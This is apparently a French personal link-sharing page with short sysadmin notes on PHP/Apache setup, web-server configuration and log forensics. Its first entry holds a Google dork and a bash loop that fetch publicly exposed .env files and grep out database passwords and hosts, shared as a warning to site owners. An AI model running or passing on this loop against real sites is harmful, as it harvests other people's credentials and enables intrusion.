52 private links
Merci à tycho et merlin8282 pour cette info.
Chercher des fichiers .env
sur Google:
https://www.google.com/search?q=db_password+filetype%3Aenv
Et récupérer le tout avec curl, parce que c'est plus drôle et ça permet de se rendre compte plus rapidement de l'ampleur du désastre. Si vous faire de la merde avec c'est votre problème pas le mien, je partage pour que ceux qui doivent corriger leurs erreurs le fassent. ;)
for ((j=0; j<100; ((j+=10)))); do for i in $(curl -sA 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' 'https://www.google.com/search?q=db_password+filetype%3Aenv&start=${j}' | sed -ne 's:<h3:\n&:gp' | sed -ne 's:^<h3 class="r"><a href="\([^[:space:]]*\)".*$:\1:p'); do echo "### $i ###"; curl -s "$i" | grep --color -Ee '(PASSWORD|HOST)'; done; done
Oui apache ne bloque que certain fichier avec un point devant comme le .htacess
, donc penser à faire ce qu'il faut pour que certains fichiers ne soient pas accessibles !
Le soft est vachement pratique par contre pour faire en sorte qu'apache utilise la version de php installé avec celui-ci c'est pas encore ça...
Lors de la compilation du module apache2, le soft indique quand il n'y a pas les droits correct et indique de faire chmod 777 sur les dossiers impactés, lol --'
Du coup ne trouvant pas de moyens de lui dire de compilé dans un fichier temporaire et de déplacé le fichier compilé j'ai moi-même gérer les droits en essayant de minimiser les risques au maximum (oui c'est pas propre mais c'est toujours mieux qu'un chmod 777!) :
sudo chown root:neodarz /usr/lib/httpd/modules /etc/httpd/conf; sudo chmod g+rw /usr/lib/httpd/modules /etc/httpd/conf; phpbrew install 7.0 +default +apxs2 +mysql +pdo +iconv; sudo chmod -R g-w /usr/lib/httpd/modules /etc/httpd/conf; sudo chown -R root:root /usr/lib/httpd/modules /etc/httpd/conf;
Deux trois extension à rajouter après la compilation:
phpbrew ext install pdo_mysql
Cours sur les fichiers de configurations Apache et Ngnix à lire. Fait une comparaison entre eux, leurs spécificités et caractéristiques, avec les différentes options et leurs rôles respectifs.
(Via : https://blog.genma.fr/?Cours-sur-les-serveurs-web-par-Luc-Didry)
Article qui permet de remonter une attaque et trouver la faille avec les logs d'Apache2